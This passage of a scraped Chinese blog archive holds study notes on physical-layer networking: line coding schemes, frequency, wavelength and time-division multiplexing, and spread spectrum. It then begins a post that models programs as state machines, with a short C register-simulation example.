href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81%E6%96%B9%E6%A1%88\" class=\"headerlink\" title=\"线路编码方案\"\u003e\u003c/a\u003e线路编码方案\u003c/h4\u003e\u003cp\u003e主要是这几种\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609210936.png\"/\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eNRZ:不归零编码,它有N/2的信号速率,但是有DC成分问题\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211704.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e1. NRZ-L:电平决定值,0是正电平,1是负电平2. NRZ-I:下一位是1则反相,0则不反相\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\u003cli\u003eRZ编码:三个值的编码,它的方式如下所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211836.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点是占用带宽大,以及实现复杂。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e双相-曼彻斯特编码:\u003col\u003e\u003cli\u003e普通版本:周期中点跳变,如下图。\u003c/li\u003e\u003cli\u003e差分版本:下一位是1就不反相,是0则反相。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609212031.png\"/\u003e\u003c/p\u003e\u003cp\u003e它唯一的缺点是信号速率,是NRZ的两倍。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003eAMI\u003col\u003e\u003cli\u003eAMI(交替传号反转):传号就是1,所以意思是1交替用正负表示,0用0电平表示\u003c/li\u003e\u003cli\u003e伪三元编码:1是0电平,0是正负交替表示\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"模拟到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"模拟到数字转换\"\u003e\u003c/a\u003e模拟到数字转换\u003c/h3\u003e\u003ch3 id=\"传输模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"传输模式\"\u003e\u003c/a\u003e传输模式\u003c/h3\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003cp\u003e带宽利用是可用带宽的合理利用:\u003c/p\u003e\u003ch3 id=\"复用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%A4%8D%E7%94%A8\" class=\"headerlink\" title=\"复用\"\u003e\u003c/a\u003e复用\u003c/h3\u003e\u003cp\u003e只要连接两台设备的\u003cstrong\u003e介质带宽\u003c/strong\u003e比设备间\u003cstrong\u003e传输所要求的带宽\u003c/strong\u003e高时,该链路就可以被\u003cstrong\u003e共享\u003c/strong\u003e。复用就是\u003cstrong\u003e允许同时通过一条数据链路传输多个信号\u003c/strong\u003e的一组技术。\u003c/p\u003e\u003cp\u003e通过复用器(MUX)和分离器(DEMUX),我们可以将一个连接(link)划分为可以同时使用的多个通道(channel)。\u003c/p\u003e\u003cp\u003e复用器可以分为这几类:\u003c/p\u003e\u003cul\u003e\u003cli\u003eFDM:分频复用\u003c/li\u003e\u003cli\u003eWDM:分带宽(波段)利用\u003c/li\u003e\u003cli\u003eTDM:时分复用\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e前两者是模拟信号方式实现,而TDM是数字信号方式实现。\u003c/p\u003e\u003ch4 id=\"频分多路复用-Frequency-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E9%A2%91%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Frequency-Division-Multiplexing\" class=\"headerlink\" title=\"频分多路复用(Frequency-Division Multiplexing)\"\u003e\u003c/a\u003e频分多路复用(Frequency-Division Multiplexing)\u003c/h4\u003e\u003cul\u003e\u003cli\u003eFDM 是用来组合模拟信号的模拟多路复用技术;\u003c/li\u003e\u003cli\u003e载波频率之间的频率差能够容纳调制信号的带宽;\u003c/li\u003e\u003cli\u003e通道之间使用防护频带进行分隔,防止信号重叠;\u003c/li\u003e\u003cli\u003e载波频率不能影响原始的数据频率;\u003c/li\u003e\u003cli\u003e数字信号转换为模拟信号之后仍然可以使用FDM\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153316.png\"/\u003e\u003c/p\u003e\u003cp\u003e大致思想如上。上面的图是时域表示不够直观,下图将三个4kHz信号合并到一个12kHz的连接上,用频域表示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153449.png\"/\u003e\u003c/p\u003e\u003cp\u003e总的带宽就是每个频段信号的带宽加上防护频带的带宽(一般是通道数-1)之和。例如,有 5个通道,每个通道的带宽是 100kHz,全部进行多路复用。如果通道之间需要 10kHz 的防护频带以防止干扰,则链路的最小带宽是$5\\times100+4\\times10=540kHz$。这样的复用系统可以多级叠加使用。\u003c/p\u003e\u003ch4 id=\"波分多路复用-Wavelength-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%B3%A2%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Wavelength-Division-Multiplexing\" class=\"headerlink\" title=\"波分多路复用(Wavelength-Division Multiplexing)\"\u003e\u003c/a\u003e波分多路复用(Wavelength-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e它和上面的FDM思想是一致的,只不过处理对象从电信号换成了光信号。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154352.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e在复用器上将多个光源组成单一光信号;\u003c/li\u003e\u003cli\u003e在分离器上做相反的处理;\u003c/li\u003e\u003cli\u003e光源组合与分离由棱镜完成;\u003c/li\u003e\u003cli\u003eWDM的一种应用是同步光纤网络(SONET)。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"同步时分多路复用-Synchronous-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%90%8C%E6%AD%A5%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Synchronous-Time-Division-Multiplexing\" class=\"headerlink\" title=\"同步时分多路复用(Synchronous Time-Division Multiplexing)\"\u003e\u003c/a\u003e同步时分多路复用(Synchronous Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003eTDM类似于OS中任务管理的rr策略,将通道切分成多个小片段,按顺序轮流给每一个设备使用。这样,它就将许多低俗通道组合成了一个高速通道。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154544.png\"/\u003e\u003c/p\u003e\u003cp\u003e首先是同步时分复用。在同步TDM中,  链路速率是数据速率的n倍,并且比单元持续时间短 n 倍(如果没有附加同步位的话)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意下图的称呼:帧中包含时隙,时隙数量是通道数量\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154730.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,将 4个 1kbps的连接一起复用,每个单位为 1位,则复用前,一位的持续时间是$1/1kbps=1ms$,链路速率是通道速率的4倍,也就是$4kbps$。时隙的持续时间是复用前每位持续时间的$1/4$,也就是$250\\mu s$。同时,也可以说位持续时间是数据速率$1/4kbps$的倒数,也就是$250\\mu s$。一帧的持续时间:每帧有四个时隙,所以一帧的持续时间是$250\\mu s$的4倍,也就是$1ms$。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e一帧包含的数据量\u003c/strong\u003e,是由一帧包含的位数量(每个时隙的位长度x通道数量)和额外的同步位决定的(一般是1位)。\u003cbr/\u003e而\u003cstrong\u003e帧速率\u003c/strong\u003e,则是输入链路的数据速率/每个时隙单元的位大小决定的。比如输入是$100kbps$,每个时隙$2$位,那么,疫苗就需要$100k\\div2bit=50k$帧每秒的速率发送来保证链路不堵塞。\u003cbr/\u003e然后是\u003cstrong\u003e数据速率\u003c/strong\u003e。考虑上面两个量的乘积,就是数据速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果在某一个瞬间,一个线路没有数据流出,则那个位置在对应时隙空出来。这也就是空时隙(Empty slots)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155353.png\"/\u003e\u003c/p\u003e\u003cp\u003e实际中,传入的数据速率可能不同,这时一般采用下面的策略:\u003c/p\u003e\u003cul\u003e\u003cli\u003e多级复用(Multilevel Multiplexing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155633.png\"/\u003e\u003c/li\u003e\u003cli\u003e多时隙分配(Multiple-slot Allocation)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155639.png\"/\u003e\u003c/li\u003e\u003cli\u003e脉冲填充(Pulse Stuffing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155645.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e一般,为了同步链路两侧信号,会设置帧指示位:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155738.png\"/\u003e\u003c/p\u003e\u003cp\u003e同步TDM复用速率有一套DS标准:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155842.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"统计时分多路复用-Statistical-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BB%9F%E8%AE%A1%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Statistical-Time-Division-Multiplexing\" class=\"headerlink\" title=\"统计时分多路复用(Statistical Time-Division Multiplexing)\"\u003e\u003c/a\u003e统计时分多路复用(Statistical Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e上面的同步TDM的一个缺点就是时隙的空缺,这样不能充分利用高速链路的带宽。因此有了第二种统计时分复用的方法:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160032.png\" alt=\"原理如图,比较简单,就不细说了\"/\u003e\u003c/p\u003e\u003ch3 id=\"扩频\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%89%A9%E9%A2%91\" class=\"headerlink\" title=\"扩频\"\u003e\u003c/a\u003e扩频\u003c/h3\u003e\u003cp\u003e在扩频系统 SS中,也把来自某些源端的信号组合在一起形成一个更宽的带宽,可是目的略有不同。为达到此目的,扩频技术增加了冗余部分,扩展原始信号的频带满足每个站的需要。\u003c/p\u003e\u003ch4 id=\"跳频扩频(Frequency-Hopping-Spread-Spectrum,FHSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E8%B7%B3%E9%A2%91%E6%89%A9%E9%A2%91%EF%BC%88Frequency-Hopping-Spread-Spectrum%EF%BC%8CFHSS%EF%BC%89\" class=\"headerlink\" title=\"跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\"\u003e\u003c/a\u003e跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\u003c/h4\u003e\u003cp\u003e如下图,将原始信号“跳跃”式扩展,来达到扩频目的。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160332.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"直接序列扩频(Direct-Sequence-Spread-Spectrum,DSSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%9B%B4%E6%8E%A5%E5%BA%8F%E5%88%97%E6%89%A9%E9%A2%91%EF%BC%88Direct-Sequence-Spread-Spectrum%EF%BC%8CDSSS%EF%BC%89\" class=\"headerlink\" title=\"直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\"\u003e\u003c/a\u003e直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\u003c/h4\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003cp\u003e非屏蔽双绞线的分类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612163803.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/"},{"title":"什么是程序和编译器","time":"2023-01-27T14:27:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e操作系统的本质:一个程序,用于管理硬件资源供其他程序调用\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e那问题就到了程序本身:程序应该如何定义?这引出了程序的状态机模型:\u003c/p\u003e\u003ch2 id=\"状态机\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%8A%B6%E6%80%81%E6%9C%BA\" class=\"headerlink\" title=\"状态机\"\u003e\u003c/a\u003e状态机\u003c/h2\u003e\u003cp\u003e这东西我们在数电中接触过,硬件基础就是一堆触发器(RS、JK等)。\u003cstrong\u003e状态\u003c/strong\u003e就是寄存器保存的值,初始状态即寄存器初始值,\u003cstrong\u003e迁移\u003c/strong\u003e就是组合逻辑电路计算寄存器下一周期的值。\u003c/p\u003e\u003cp\u003e下面是一个寄存器的模拟程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e REGS_FOREACH(_) _(X) _(Y) \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e RUN_LOGIC X1 = !X \u0026amp;\u0026amp; Y; \\ \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Y1 = !X \u0026amp;\u0026amp; !Y; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e DEFINE(X) static int X, X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e UPDATE(X) X = X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PRINT(X) printf(#X \u003cspan class=\"string\"\u003e\u0026#34; = %d; \u0026#34;\u003c/span\u003e, X); \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e { \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(DEFINE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"comment\"\u003e// clock \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRUN_LOGIC; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(PRINT); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(UPDATE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"程序的定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"程序的定义\"\u003e\u003c/a\u003e程序的定义\u003c/h2\u003e\u003ch3 id=\"源码视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E6%BA%90%E7%A0%81%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"源码视角\"\u003e\u003c/a\u003e源码视角\u003c/h3\u003e\u003cp\u003e程序就是状态机。对于C程序而言,它的状态机模型如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e状态=栈帧+全局变量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e初始状态=main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e迁移=执行栈顶的语句并转到下一条指令\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数调用=入栈\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数返回=出栈\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这定义有很多应用,比如将任何递归程序就地转为非递归。虽然实际上递归就是这么实现的(一层递归建立一层函数栈、跳转地址压栈)。例如,下面就是手写函数栈展开递归:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan 